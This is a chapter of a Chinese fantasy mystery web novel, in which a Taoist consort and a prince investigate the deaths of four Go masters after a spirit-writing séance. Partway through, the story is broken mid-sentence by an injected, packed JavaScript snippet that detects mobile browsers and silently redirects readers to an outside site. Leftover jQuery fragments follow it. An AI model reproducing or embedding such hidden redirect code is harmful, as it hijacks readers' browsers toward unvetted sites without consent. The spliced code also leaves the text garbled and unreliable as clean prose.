宣姝在梦里打坐修炼,这会醒来翻了个身。
丫鬟山竹听到动静,走到宣姝床边,轻声说道:“王妃,殿下说您醒了就去湖边的石亭一趟,大理寺少卿有事找您。”
宣姝叹了一口气,自己不去上朝就是为了躲懒,不想沾那些杂事,结果事情还是找上门来了。
大理寺办的事情都有点棘手,找到这里来,事情可不是一般棘手。
宣姝慢吞吞坐起来,突然痛呼一声,猛甩手臂:“嘶~”
山竹急忙扑到宣姝身前,紧张地问:“王妃你怎么了?”
宣姝:“手睡麻了。”
山竹:“……”
.
宣姝来到荷塘边的石亭,湖面起了一阵风,她撩起被吹乱的长发,朝宗明宸、林昆走过去。
“王爷为何不早些叫醒我?”
宗明宸转头看宣姝,她的头上戴了一只玉簪,唇上点了淡淡朱砂,算不得多精致,但透着一种自然的灵秀和慵懒。
“看时辰你也该醒了,便没让人叫醒你。”
林昆看宣姝的模样一时愣了神。
宗明宸沉声问:“看什么?”
林昆摇头:“啊……那个,之前朝中没有人见过国师大人,有谣传称国师大人是个半老的道姑,我就说谣言并不可信!国师大人与殿下真是般配得很呐,一对璧人。”
难怪宗明宸都开始患得患失的,真是仙姝之貌。
宣姝笑了笑:“林大人太会夸人了。”
宗明宸看着宣姝的笑脸,心中暗忖,可没见过你对本王笑得这么自然过,原来平时都在假笑,阿谀奉承。
“林昆这次来找你,事关现在盛京最重要的围棋国赛。”
宣姝问:“围棋国赛?”
林昆点头,“半个月之内,连续有四名围棋高手死于非命。这四个人都是棋手中的翘楚,其中一位还是第一国手。此次围棋国赛还有西域、吐蕃、高丽、东瀛国手来这里,兹事体大,所以皇上下旨让我们尽快彻查此案。”
大衡从开国以来已经有二十年,宗越在十年前就开始大兴围棋国赛,不仅宫廷中有设棋博士教授皇子、宫人围棋,民间也开设了不少棋馆。
棋艺精湛者参加围棋国赛,若夺得头筹,亦与科举高中一般,不仅能得到万金赏赐,还可以收获极高的名望。
故而,每年的围棋国赛亦是盛京仲夏时节的盛会,不仅全国各地的棋手会来到这里,西域、高丽、东瀛、爪哇等国也会派棋手来较量。
宣姝初到盛京时去过棋馆,里面不管是下棋的人,还是看下棋的人都很多。
换作任何人看到一大笔赏金和功名都会去试试的,若是因此发生命案也不稀奇。
宣姝问:“这起案子有何蹊跷,需要我帮忙?”
林昆问:“国师大人可知扶鸾?”
宣姝摇摇头:“不知。”
林昆看向宗明宸,宗明宸也觉得奇怪,即便是山中苦修的道人也不会不知扶鸾。
宗明宸问:“你不知这个占卜术法?”
宣姝说:“不知。”
此世间的东西除了妖魔鬼怪之物一样,其他的和自己之前待的地方大不一样。她不会不懂装懂,万一遇到厉害的家伙呢。
宗明宸解释道:“扶鸾是一种前朝流传下来的民间占卜之术,占卜者摆上香炉插上三炷香,然后将筷子插在盛满沙子的簸箕上悬挂起来,说一声请箕仙显灵,筷子就会在沙盘上留下一些痕迹,有些是字,有些是图,占卜者就用这些留在沙盘上的东西来预测吉凶。”
“也有人用笔和纸代替筷子和簸箕,传闻有人扶鸾时看到笔自己立起来在墙上写字。但是扶鸾到底有没有用,是否会显灵,没有人说得清。”
这么一说,宣姝就知道是怎么回事了。大理寺不知扶鸾到底灵不灵,所以才来找自己。
宣姝说:“依照这种方法,扶鸾请来的恐怕不是什么‘仙’,但也是能占卜出结果的。”
林昆一拍大腿,问:“那会是什么?”
宣姝说:“但凡占卜之术都是请鬼神之力,这种简易的扶鸾,大多数时候找来的都是一些游魂野鬼,不知来历。平常人不得要领也有可能出事。这与棋手命案有何关联?”
林昆从袖中拿出一张名单,上面写着:决明、苏韶、宋瑜、孙仲文。
他拿着沏茶的茶勺指着人名说道:“这四人便是此命案死者,他们不仅棋艺精湛,四人的关系也甚好。半个月前这四人与多名棋手曾在宋瑜家集会,有人奇思妙想说不如扶鸾请仙,让箕仙与四人对弈。”
“此后不久,这四人接连遇害且死状各不相同。决明是云游僧人,死在客居的香山寺禅房中,因精尽而亡。苏韶是醉死,孙仲文是冻死的。”
宣姝思索一番,指着纸上的“宋瑜”问道:“他是怎么死的?”
林昆神情肃然,“我们曾怀疑他是杀死苏韶的凶手,但因缺乏证据没有抓捕他,没过几日他便死在家中,像是被什么妖物生吃了,除了脖子以上,其他地方已经变成了白骨。”
宣姝:“除了脖子以上?好奇怪的吃法。”
林昆:“……”
宣姝想起之前宗明宸说与大理寺商议事情顺道路过将军府,或许就是为这桩案子吧。虽然外面谣传宗明宸风流浪荡,但实际上此人心思缜密,对朝中的事情了解得很。
宗明宸问道:“你有什么头绪吗?”
宣姝:“尚无,目前来看,这四个人的死不一定是请来的箕仙所为。”
“什么?”林昆说话牵动着嘴上的泡,此时更焦灼了,“不是扶鸾,那又是因为什么才让这四人死的?”
“如我之前所说扶鸾请来的都是游魂野鬼,他们道行不高,很难用冻死,食人,吸阳气这些方法杀人,杀人者更像是妖物。但这世间妖物甚多,单凭这些浅显的迹象很难断定是什么做的。”
林昆:“若是查不出个水落石出,陛下那边就不好交代了。”
宣姝:“我要去看看这四人出事的地方。”
林昆立即起身说道:“好,我带国师去。”
宣姝转头对宗明宸说:“劳烦殿下陪我走一趟。”
宗明宸问:“为何让本王与你一起去?”
宣姝抬了抬右手:“王爷忘了,我的伤还没好,你可要保护我。”
缔结了灵契,你可跑不了。
宗明宸轻哼,话说的好听,心底算盘打得可响了,这次的事情不像将军府那么简单。
林昆走在两人身后,心想这不是关系挺好的吗?但是他突然意识到办完这个案子之前,这两人不会一直在自己眼前晃悠吧?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13492965|142087||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“我也可以保护国师大人,大理寺上下……哎哟!”
林昆结结实实挨了一脚,真是下得了狠手呐。
.
三人来到孙仲文家时,宣姝看了眼大门上的牌匾,写的是刘府。
宣姝问:“孙仲文是借住在这里,还是入赘?”
林昆道:“是入赘刘家的。孙仲文少时家贫,很早就来到盛京在棋馆做店小二,棋艺也是在那个时候苦学的。他成为第一国手后认识了富商大贾刘兆,于是入赘在他家,成了他的女婿。”
宣姝感叹,功成名就,娶妻定居盛京,人生得意时莫过于此了吧。
林昆告知小厮来意,随后孙仲文的夫人和管家就带三人进了宅子,来到孙仲文出事的地方——他的书房。
孙夫人还没从相公的死中缓过来,眼下青黑,拿着手帕擦拭眼泪。
宣姝问:“孙夫人,你相公死前一直一个人待在这里吗?”
孙夫人点头:“正是,最近每日他都要去紫霄楼对弈,所以每日回来都要在书房自己与自己对弈练棋艺。”
紫霄楼便是围棋国赛举办之处,此时棋艺不佳者已经全部退场,接下来的对弈会越来越激烈。
宣姝“嗯”了一声,在书房中四处查看,慢慢走到那张棋盘前。棋子满满当当摆了大半个棋盘,可见对局者下了很久。
她对下棋一窍不通,只知道黑子白子,但是宗明宸应该知道其中细节,“王爷,这盘棋有没有什么特别之处?”
宗明宸看着棋局说道:“这盘棋只要黑子在西九南十放一子,白子必输。”
宣姝问:“孙仲文当时坐在哪一边?”
林昆指着白子棋篓的一侧,“在这里。”
宣姝摸摸下巴,“看来是遇到劲敌了。”
林昆说,“孙仲文是前年的第一国手,去年他与新秀胡馥之对弈,孙仲文以一子只差落败,胡馥之成为新的第一国手,所以今年很多人都翘首以盼他们两人的对局,势必会有一场恶战。”
“我们也曾怀疑过是胡馥之杀了他,但昨夜胡馥之一直在平康坊与虢国公世子等人饮酒作乐,没有见过孙仲文。”
宣姝转头看向孙夫人,“夫人可知,昨晚这里有发生什么异动?”
孙夫人气愤地转头看向旁边站着的圆脸小厮,“这个是仲文的书童,平日都是他在伺候仲文。”
书童向宣姝行礼:“国师大人,昨夜我戌时来书房里换过烛台,主子说他还要下一会棋,不回屋里睡了,所以我就在书房旁边的屋里睡着。”
“半夜,我醒来发现书房的灯还亮着,就在门外看了一眼,主子还坐在棋盘旁,我以为主子是遇到困局要想一想,所以就没敢打扰。直到今日晨间看到他还是那个姿态坐在棋盘旁,走近一探已经没气息了。”
孙夫人问书童:“是不是你干的?”
书童使劲摇头:“夫人,主子对我有恩,我怎么会杀了他?!”
宣姝在书房中继续查看,寻找可能的线索,忽然间她看到了墙上挂的雪中寒梅图,上面残留着一丝奇异的气息。
宗明宸走到宣姝身旁问道:“怎么了?”
林昆也问道:“国师有何发现?”
宣姝:“没什么。”
只是有点蹊跷,那丝气息很快就消失了。